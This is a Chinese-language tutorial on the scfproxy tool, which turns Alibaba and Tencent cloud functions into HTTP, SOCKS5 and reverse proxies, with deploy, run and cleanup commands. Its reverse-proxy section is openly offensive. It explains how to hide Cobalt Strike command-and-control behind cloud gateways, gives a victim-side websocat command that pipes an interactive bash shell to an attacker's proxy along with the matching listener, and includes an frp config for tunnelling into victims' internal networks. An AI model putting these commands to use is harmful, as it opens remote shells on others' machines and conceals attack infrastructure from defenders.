| 作者 | 修订时间 |
|---|---|
| 2024-01-12 00:01:36 |
使用云函数做代理
什么是云函数
云函数 (Serverless Cloud Function,SCF) 是腾讯云为企业和开发者们提供的无服务器执行环境。无服务器并非真的没有服务器,而是说用户无需购买服务器,无需关心服务器 CPU、内存、网络配置、资源维护、代码部署、弹性伸缩、负载均衡、安全升级、资源运行情况监控等,也就是说不用专门安排人力 做这些,只需专注于代码编写并上传即可。很大程度上降低了研发门槛,提升业务构建效率
基于的工具
HTTP 代理
原理和实现
这是最为简单的利用方式。主要原理在于:
- 云函数可利用 API 网关触发器进行触发,接受来自客户端的数据
- 可以对外发包,类似于一个 SSRF
因此一个 HTTP Proxy 的实现思路就很简单了。客户端挂上代理发送数据包,HTTP 代理服务器拦截数据包,提取 HTTP 报文相关信息,然后将报文以某种形式 POST 到云函数进行解析,云函数根据解析到的信息对目标发起请求,最终将结果一层一层返回。
流程如图所示:

部署
scfproxy deploy http -p provider_list -r region_list
provider_list 与 region_list 传入的参数列表以 , 分隔。
region_list 支持如下 4 种形式(在所有 deploy 及 clear 命令上都支持)
*表示所有区域area-*表示该 area 区域支持的所有地区are-num表示该 area 区域支持的前num个地区(代码硬编码顺序返回)- 标准形式,即云厂商所提供的标准 region 形式
对于提供多个 provider 的情况下,将对每个 provider 进行上述 region 形式的解析与查找,不存在的 region 将被忽略
例子:
scfproxy deploy http -p alibaba,tencent -r ap-1,eu-*,cn-shanghai
通过 scfproxy list -p alibaba,tencent 可以查看到所有的 region,上面这条命令的执行结果为
- 在
alibaba上部署ap-northeast-1,eu-central-1,eu-west-1,cn-shanghai区域的 http 代理 - 在
tencent上部署ap-beijing区域的 http 代理
运行
scfproxy http -l port [-c cert_path] [-k key_path]
首次运行会在 ~/.confg/scfproxy/cert 目录生成 scfproxy.cer 及 scfproxy.key 证书,需要将其导入系统证书并信任才可以代理 https 请求。
清理
scfproxy clear http -p provider_list -r region_list [--completely]
清理功能默认只会删除触发器,如需同时删除函数,需添加 -e/--completely 参数
例子
本次案例使用的是阿里云
获取key

首次运行
配置 云的key,这里演示的是阿里云
scfproxy && vim /root/.config/scfproxy/sdk.toml

部署 http api
./scfproxy deploy http -p alibaba -r eu-*

查看部署是否成功
./scfproxy list http

运行
./scfproxy http -l 0.0.0.0:1234
注意:若有自己常用的证书可以指定证书路径
./scfproxy http -l 0.0.0.0:1234 -c /root/backer/ssl/proxy.wjlin0.com.cer -k /root/backer/ssl/proxy.wjlin0.com.key
安装证书
双击证书 -> 安装证书

验证
配置SwitchyOmega


清理
./scfproxy list http
./scfproxy clear http -p alibaba -r eu-* && ./scfproxy clear http -p alibaba -r eu-* --completely
./scfproxy list http

SOCKS5 代理
原理和实现
正常 SOCKS5 代理请求的流程为服务端监听来自客户端的事件,每当客户端发起一个新的连接,服务端生成一个 socket A,并从数据包中解析出目标服务器的地址和端口,在本地对目标发起一个 socket 连接 B,同步两个 socket 的 IO 操作。
SOCKS5主要分为下面3个步骤:
1.认证:对客户端发起的连接进行认证
2.建立连接:从客户端发起的连接中读取数据,获得目标服务器地址,并建立连接
3.转发数据:分别将来自客户端、服务器的数据转发给对方
使用云函数建立连接的方式,我们需要的不再是对外主动发起连接,而是监听一个端口,等待云函数发 起连接,为了让云函数发起连接,我们需要主动对云函数的API网关发起请求,触发云函数的执行,并将 目标服务器信息附在POST数据包中。相关的流程图如下

部署
scfproxy deploy socks -p provider_list -r region_list -a address [-k key] --auth [user:pass]
-a address 用于指定云函数回连的 vps 地址
-k key 用于连接后进行验证
--auth [user:pass] 用于指定 socks 认证信息,默认无认证
运行
scfproxy socks -l socks_port -s scf_port -k key
-l socks_port 监听 socks_port,等待用户的 socks5 连接
-s scf_port 监听 scf_port,等待来自云函数的连接,需要部署命令中 address 参数的端口一致
-k key 用于验证,需与部署命令中的 key 对应
清理
scfproxy clear socks -p provider_list -r region_list [--completely]
因为 socks 代理创建的为 1m 的定时触发器,且函数超时时间较长为避免不必要的浪费,建议在监听到来自云函数的连接后清理触发器,在使用完毕后使用 -e 参数彻底清理函数。
例子
获取key

首次运行
配置 云的key,这里演示的是阿里云
scfproxy && vim /root/.config/scfproxy/sdk.toml

部署 socks api
# 有点慢,耐心等一分钟
./scfproxy deploy socks -p alibaba -r eu-* -a 119.13.81.145:12345 -k abc12345

验证是否创建成功
./scfproxy list socks
运行
./scfproxy socks -l 1234 -s 12345 -k abc12345

安装证书
双击证书 -> 安装证书

验证
配置SwitchyOmega


清理
./scfproxy list socks
./scfproxy clear socks -p alibaba -r eu-* && ./scfproxy clear socks -p alibaba -r eu-* --completely
./scfproxy list socks

反向代理
部署
scfproxy deploy reverse -p provider_list -r region_list -o origin [--ip ip_list]
-o origin 用于指定需要用于反向代理的回源地址,可接受 HTTP 及 Websocket 协议。
--ip ip_list 用于限制访问来源,只有 ip_list 中的 ip 才能访问部署返回的反向代理网关地址。
使用场景
基于反向代理可有如下使用方法,
C2 隐藏
以 cobaltstrike 为例,只需将 api 的域名填入 listener 的 host
scfproxy deploy reverse ... -o http://vps --ip victim

反弹 shell 地址隐藏
借助 websocat 工具可实现反弹 shell 的功能。
scfproxy deploy reverse ... -o ws://vps --ip victim
受害者端执行:
websocat ws://reverse_proxy_address sh-c:'/bin/bash -i 2>&1' --binary -v --compress-zlib
攻击者 vps 执行:
websocat ws-l:0.0.0.0:port - --binary -E --uncompress-zlib
内网穿透地址隐藏
该使用场景需要支持 websocket 协议的内网穿透软件。
scfproxy deploy reverse ... -o ws://vps --ip victim
以 frp 代理 SOCKS 为例,客户端配置:
[common]
server_addr = reverse_proxy_domain
server_port = 80
tls_enable = true
protocol = websocket
[plugin_sock5]
type = tcp
remote_port = 8080
plugin = socks5
use_encryption = true
use_compression = true
效果如图

清理
scfproxy clear http -p provider_list -r region_list -o origin
与 HTTP 及 SOCKS 代理不同,反向代理没有 --completely 参数,但需要指定 origin 参数用于定位需要删除的服务
